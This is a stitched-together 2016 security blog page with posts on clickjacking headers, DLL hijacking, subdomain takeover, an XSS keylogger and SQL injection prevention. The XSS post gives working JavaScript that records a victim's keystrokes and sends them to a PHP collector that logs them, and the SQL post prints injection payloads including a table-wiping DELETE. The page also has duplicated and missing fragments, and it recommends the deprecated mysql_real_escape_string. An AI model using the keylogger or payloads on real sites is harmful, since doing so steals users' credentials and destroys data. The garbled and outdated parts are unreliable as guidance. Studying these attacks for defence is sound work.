How To Bypass XSS Protection
Monday, July 25, 2016
How To Bypass XSS Protection
How To Bypass XSS Protection
Wednesday, July 20, 2016
Protecting Your Site From Click Jacking Vulnerability
Hello,
I am writing a post after a long time, because a company who stands within Alexa Rank 100 asked me how to patch site from Click- Jacking Vulnerability. I am really enthusiast in Server Side flaws which results to affect Users. I almost never look for Click-Jacking in my Bug-Hunt (1% of my total Findings) but at rarest case i try to find one and take it to easy and effective Social Engineering. Many companies doesn’t consider it as Threat but it is a actual threat, because no one likes getting their site content getting spoofed by other layered code or by slicing some code over it. I am using WordPress Blog so they don’t currently allow me to do so but i have a new StartUp company of mine where i use the concept effectively which i would publically release also soon. But let’s talk about Click-jacking Protection Now.
So, many of Newbies Hackers are finding click-Jacking by showing Site inside Iframe and getting done with their business. But doesn’t know the actual mitigation and Patch. So first i suggest you to go over this the Mozilla Developer page about X-Frame-Options
This vulnerability mainly occurs due to weak / no setting of X-Frame-Options Header. Now, you can have three choices for that
- DENY : If you set the X-Frame-Options to DENY, then your page wouldn’t be embedded into a Iframe. This is where the patch for the infamous Bug of ClickJacking lies.
- SAMEORIGIN : If you set X-Frame-Options to SAMEORIGIN then The page can only be displayed in a frame on the same origin as the page itself, which means the site can only be framed by pages with the same origin as the framed page.
- ALLOW-FROM uri : The page can only be displayed in a frame on the specified origin.
Now, having the concept clears of the http Header X-Frame-Options, we can move to the Setup for the Patch.
PACHE SETUP:
To configure Apache to send the X-Frame-Options header for all pages, you need to add this to your site’s configuration, you can add that for WordPress sites too on Apache in you .htaccess:
Header always append X-Frame-Options DENY
NGNIX SETUP:
For NGNIX in the server, you need to add thisadd_header x-Frame-Options DENY;
DRUPAL SETUP:
Drupal has a custom way to deal with headers through the use of drupal_add_http_header. So you can adddrupal_add_http_header(‘X-Frame-Options’, ‘DENY’);
IIS SETUP:
To configure IIS to send X-Frame-Options Header, you need to send this (From Mozilla Web Dev)
<system.webServer>
…
…
<httpProtocol>
<customHeaders>
<add name=”X-Frame-Options” value=”DENY” />
</customHeaders>
</httpProtocol>
<customHeaders>
<add name=”X-Frame-Options” value=”DENY” />
</customHeaders>
</httpProtocol>
…
</system.webServer>
PHP SETUP:
Many a Times Web Developers use this to protect some pages like Login Page/ Sign Up Page. Even WordPress Blog do that for their login page. You need to add this line in your PHP Codeheader(‘X-Frame-Options: DENY’);
These above demonstration was for DENY similarly, you can add to SAMEORIGIN by your choice. Only you need is to replace it. I hope, now it’s clear. So let’s see how it looks .
So, i hope you liked it and would now understand it Developers side. Because “Every Hacker is a Developer” . Shoot your queries here !
Reference:
Monday, July 18, 2016
How to Disable DLL Hijacking
Enable SafeDllSearchMode so that exploiting the search path becomes more difficult for the attacker. Hwne SafeDllSearchMode has enabled the search path order changes to follow.
- The directory from which the application loaded.
- The system directory. Get System Directory function can be used to get the path of this directory.
- The 16-bit system directory.
- The Windows directory. Get Windows Directory function can be used to get the path of this directory.
- The current directory.
- The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the App Paths registry key. The App Paths key is not used when computing the DLL search path.
Other than this developer should write secure code o order to load directories from specified path only. Also, make sure that only signed DLLs are loaded for most systems process and applications.
DLL Hijacking Attacks
to achieve persistence. We will be discussing DLL search order hijacking, DLL Side loading, and Phantom DLL Hijacking techniques. Also, we will see how can we detect it and prevent the DLL hijacking attack.
What is DLL hijacking?
DLL provide common code that can be used by executables statically or dynamically. Such codes are stored in different files and are invoked or loaded into RAM only when the related code is required. Thus, it saves an application size and to prevent resource hogging by the application. DLL hijacking is the technique in which instead of benign DLL usually loaded by the application, the loader is tricked to load a malicious DLL. DLL hijacking has different techniques which slightly vary from each other. They are mainly classified under:
DLL Search Order Hijacking
Windows OS search for DLL’s needed by executable in a specific order. Thus if the executable is not looking for some DLL via some hard coded path, then a malicious DLL can be placed in the search order, and the executable will load it. But what is this Search Path?
Search Path
Search Path is well documented by Microsoft and defaults to:
- The directory from which the application is loaded
- The current directory
- The system directory, usually C:\\Windows\\System32\\ (The GetSystemDirectory function is called to obtain this directory.)
- The 16-bit system directory – There is no dedicated function to retrieve the path of this directory, but it is searched as well.
- The Windows directory. The GetWindowsDirectory function is called to obtain this directory.
- The directories that are listed in the PATH environment variable
As we can see above, anyone who can write to the current directory can potentially introduce rogue DLL, and since the order of loading DLL’s from current directory is high, then it will be loaded by the executable as a first match.
What are Known DLLs?
When a loader comes across import DLL section of an executable, the first thing the loader will do is to check out for KnownDLL directory which contains known systems DLLs. If the DLL mentioned in the import name matches with KnownDLL, then this DLL will be mapped to process address space.
KnownDLL are specified in the registry key
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
And their location is mentioned by the key DllDirectory (64 bit DLLs) and DllDirectory32 (32 bit DLLs)
Attackers can also modify the registry key at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\ ExcludeFromKnownDlls to exclude the DLLS from KnownDLL for processing.
DLL Side-Loading Attack
WinSxS feature is used by many applications to prevent problems that can arise due to updated and duplicated version of DLLs. DLL side-loading attack makes use of WinSxS directory. This is located in C:\Windows\WinSxS and holds multiple versions of DLLs. When an application uses this directory to retrieve DLL, then it needs to have a manifest. Manifest lists the DLL that can be used at run time by this application and is used by loaded to determine which version of DLL to use.
Now this technique/folder has less validation other than what is specified in the metadata itself and thus a spoofed DLL can be placed in this directory and loaded. A well-documented attack of DLL side-loading by FireEye can be seen here.
Phantom DLL Hijacking
This attack uses some very old DLLs that are still attempted to be loaded by applications even when they are completely unnecessary. All attackers have to do is to give the malicious DLL name in the Search Path and the new malicious code will be executed. An example of this is to replace fxsst.dll(Fax Service)DLl in Systems 32 folder with a malicious counterpart.
Detection of DLL Hijacking
Look out for DLLs with the same name in multiple locations in search order. There is a tool here which can be used to detect possible DLL hijacking. It is available for both 32 bit and 64 bit. It runs in verbose mode by default means it will give the output as wherever there are DLLs in multiple locations in the search order both signed and unsigned. To filter, use the /unsigned switch with this tool which will show only unsigned DLLs. Below is an example of this tool running. There will be false positives from this tool so assure that complete context of loaded DLL is checked.
Hostile Subdomain Takeover using Heroku/Github/Desk
Hackers can claim subdomains with the help of external services. This attack is practically non-traceable, and affects at least 17 large service providers and multiple domains are affected. Find out if you are one of them by quick tool, or go through your DNS-entries and remove all which are active and unused OR pointing to External Services which you do not use anymore.
The team at Detectify has recently identified a serious attack vector resulting from a widespread DNS misconfiguration. The misconfiguration allows an attacker to take full control over subdomains pointing to providers such as Heroku, Github, Bitbucket, Desk, Squarespace and Shopify.
Attack Scenario
Your company starts using a new service, eg an external Support Ticketing-service.
Your company points a subdomain to the Support Ticketing-service, eg support.your-domain.com
Your company stops using this service but does not remove the subdomain redirection pointing to the ticketing system.
Attacker signs up for the Service and claims the domain as theirs. No verification is done by the Service Provider, and the DNS-setup is already correctly setup.
Attacker can now build a complete clone of the real site, add a login form, redirect the user, steal credentials (e.g. admin accounts), cookies and/or completely destroy business credibility for your company.
Three things that make this scenario dangerous
It’s SUPER easy. Sign up for a new account and claim the domain. Done.
It’s completely hidden. The Domain Owner won’t notice. The attacker won’t leave any traces for the Domain Owner. Good luck monitoring this in an IDS!
The Service Provider is unlikely to be able to fix this in a feasible way.
Now if this wasn’t bad enough, imagine this scenario
A Domain Owner points their * (wildcard) DNS-entry to e.g. Heroku.
They forget to add the wildcard-entry to their Heroku-app.
Attacker can now claim any subdomain they want from the Domain Owner.
A Domain Owner will be unaware of the subdomain being exploited.
Technical Details
This attack vector utilizes DNS-entries pointing to Service Providers where the pointed subdomain is currently not in use. Depending on the DNS-entry configuration and which Service Provider it points to, some of these services will allow unverified users to claim these subdomains as their own.
In the not so rare case, the attacker can also “inherit” the Domain Owner’s Wildcard SSL used inside the Service Provider.
Here’s an example of a DNS-entry that could be used for this attack:
If x.example.com has no service attached to it, the subdomain could be taken over by an attacker. Below are examples of how some of the services will indicate the existence of this vulnerability:
Affected Service Providers and Domain Owners
We’ve identified at least 17 Service Providers which do not handle the subdomain ownership verification properly – allowing this vulnerability to be exploited, Heroku, Github, Bitbucket, Squarespace, Shopify, Desk, Teamwork, Unbounce, Helpjuice, HelpScout, Pingdom, Tictail, Campaign Monitor, CargoCollective, StatusPage.io and Tumblr.
We’ve also identified at least 200 organizations which are currently affected. In many cases, we are talking NASDAQ-listed, top 100 Alexa rank domains that basically allowed us to set up a Hello World on their domains.
We have notified both the affected Service Providers as well as the Domain Owners under responsible disclosure programs.
Recommendations
Check your DNS-configuration for subdomains pointing to services not in use.
Set up your external service so it fully listens to your wildcard DNS. In Heroku’s case, this means running the following command in your App: heroku domains:add *.example.com
Our best advice to this is to keep your DNS-entries constantly vetted and restricted.
Saturday, July 16, 2016
Keylogging with Cross-Site Scripting Vulnerability
Today we will discuss about Keylogging using XSS Vulnerability. First of all i will tell you about Keylogging,Keylogging is a technique in which an attacker is able to record all key strokes of the victim by using some methods, the attacker will be able to see all the keys which are pressed by the user. By using this technique all types passwords ,usernames and other sensitive details can be captured.
Description:
Keylogging attacks can be done by using Keylogger Programs but in this article we will do Keylogging attack using Cross Site Scripting vulnerability. In XSS Vulnerability , an attacker is able to execute any JS code on the client-side and using this attack an attacker can steal session of a user , can perform DoS attack, can deface the site. There are main types of XSS ,Reflective and Stored. We will do keylogging using both types of XSS.
For demo i created some files to show you how we can do XSS Keylogging. For XSS keylogging we need a .js file which will record all the keystrokes entered by the user on the webpage and a .php file which will save all the recorded keystrokes to a text file. Now i will show you the source of the both files.
exploit.js
var keys = '';
document.onkeypress = function(e) {
var get = window.event ? event : e;
var key = get.keyCode ? get.keyCode : get.charCode;
key = String.fromCharCode(key);
keys += key;----
}
window.setInterval(function(){
new Image().src = 'http://127.0.0.1/demo/1/exploit/exploit.php?keylog=' + keys;
keys = '';
}, 1000);
Now in the above code on line 11 you can see that it will send data to the exploit.php file, that URL is the path to theexploit.php , we have to enter it so the .js file will send the recorded keystrokes to the php file so it will be saved in text.
exploit.php
<?php
if(!empty($_GET['keylog'])) {
$logfile = fopen('logs.txt', 'a+');
fwrite($logfile, $_GET['keylog']);
fclose($logfile);
}
?>
on line 4 it will open the logs.txt file and will add the keystrokes in it and will be saved. So this will do all the saving works.
If the site is vulnerable to XSS, it will show a popup box with a number “1” , as you can see in the image below, it shows a popup and our payload is injected into the webpage as HTML code so XSS is possible:
Demo:
Thanks Shawar Khan
Disable SQL Injection Vulnerability
So today we will discuss about Prevention of SQL Injection Vulnerability and methods of protection against it. Most of the developers came across this issue and want to patch the Vulnerability so this article is based on protection of SQL-i.
MySQL – SQL injection prevention
If you have ever taken raw user input and inserted it into a MySQL database there’s a chance that you have left yourself wide open for a security issue known as SQL Injection. This lesson will teach you how to help prevent this from happening and help you secure your scripts and MySQL statements.
What is sql injection?
SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker).
SQL injection example
Below is a sample string that has been gathered from a normal user and a bad user trying to use SQL Injection. We asked the users for their login, which will be used to run a SELECT statement to get their information.
MySQL & PHP Code:
Display:
The normal query is no problem, as our MySQL statement will just select everything from customers that has a username equal to timmy.
However, the injection attack has actually made our query behave differently than we intended. By using a single quote (‘)they have ended the string part of our MySQL query
username = ‘ ‘
and then added on to our WHERE statement with an OR clause of 1 (always true).
username = ‘ ‘ OR 1
This OR clause of 1 will always be true and so every single entry in the “customers” table would be selected by this statement!
More serious sql injection attacks
Although the above example displayed a situation where an attacker could possibly get access to a lot of information they shouldn’t have, the attacks can be a lot worse. For example an attacker could empty out a table by executing a DELETE statement.
MySQL & PHP Code:
$name_evil = "'; DELETE FROM customers WHERE 1 or username = '"; // our MySQL query builder really should check for injection $query_evil = "SELECT * FROM customers WHERE username = '$name_evil'"; // the new evil injection query would include a DELETE statement echo "Injection: " . $query_evil;
Display:
SELECT * FROM customers WHERE username = ‘ ‘; DELETE FROM customers WHERE 1 or username = ‘ ‘
If you were run this query, then the injected DELETE statement would completely empty your “customers” table. Now that you know this is a problem, how can you prevent it?
injection prevention – mysql_real_escape_string()
Lucky for you, this problem has been known for a while and PHP has a specially-made function to prevent these attacks. All you need to do is use the mouthful of a function mysql_real_escape_string.
What mysql_real_escape_string does is take a string that is going to be used in a MySQL query and return the same string with all SQL Injection attempts safely escaped. Basically, it will replace those troublesome quotes(‘) a user might enter with aMySQL-safe substitute, an escaped quote ‘.
Lets try out this function on our two previous injection attacks and see how it works.
MySQL & PHP Code:
//NOTE: you must be connected to the database to use this function! // connect to MySQL $name_bad = "' OR 1'"; $name_bad = mysql_real_escape_string($name_bad); $query_bad = "SELECT * FROM customers WHERE username = '$name_bad'"; echo "Escaped Bad Injection: <br />" . $query_bad . "<br />"; $name_evil = "'; DELETE FROM customers WHERE 1 or username = '"; $name_evil = mysql_real_escape_string($name_evil); $query_evil = "SELECT * FROM customers WHERE username = '$name_evil'"; echo "Escaped Evil Injection: <br />" . $query_evil;
Display:
Escaped Bad Injection:
SELECT * FROM customers WHERE username = ” OR 1”
Escaped Evil Injection:
SELECT * FROM customers WHERE username = ”; DELETE FROM customers WHERE 1 or username = ”
SELECT * FROM customers WHERE username = ” OR 1”
Escaped Evil Injection:
SELECT * FROM customers WHERE username = ”; DELETE FROM customers WHERE 1 or username = ”
Notice that those evil quotes have been escaped with a backslash , preventing the injection attack. Now all these queries will do is try to find a username that is just completely ridiculous:
- Bad: ‘ OR 1’
- Evil: ‘; DELETE FROM customers WHERE 1 or username = ‘
Video – tut
Subscribe to:
Posts (Atom)
